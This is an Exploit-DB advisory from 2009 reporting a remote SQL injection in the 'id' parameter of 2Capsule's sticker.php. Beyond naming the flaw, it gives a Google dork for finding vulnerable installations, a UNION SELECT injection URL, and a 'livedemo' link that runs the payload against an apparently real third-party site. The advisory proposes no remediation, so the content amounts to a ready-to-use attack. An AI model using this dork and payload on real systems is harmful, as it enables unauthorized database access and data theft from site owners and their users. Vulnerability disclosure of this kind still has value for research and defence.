2Capsule - sticker.php id Remote SQL Injection Vulnerability

2009-01-01T00:00:00
ID EDB-ID:7631
Type exploitdb
Reporter Zenith
Modified 2009-01-01T00:00:00

Description

2Capsule (sticker.php id) Remote SQL Injection Vulnerability. Webapps exploit for php platform

                                        
                                            --==+================================================================================+==--
--==+             2Capsule Sticker Remote SQL Injection Vulnerability                +==--
--==+================================================================================+==--
-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
AUTHOR: Zenith
Homepage : www.thaishadow.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
Script: www.2Capsule.com
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DORK (google): "inurl:sticker/sticker.php?id="
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DESCRIPTION:
EXPLOITS:

localhost.com/sticker/sticker.php?id=1'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*

livedemo :http://www.musicza.com/homenew//sticker/sticker.php?id=1%27+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Special Thx : THD [Thaishadow]

# milw0rm.com [2009-01-01]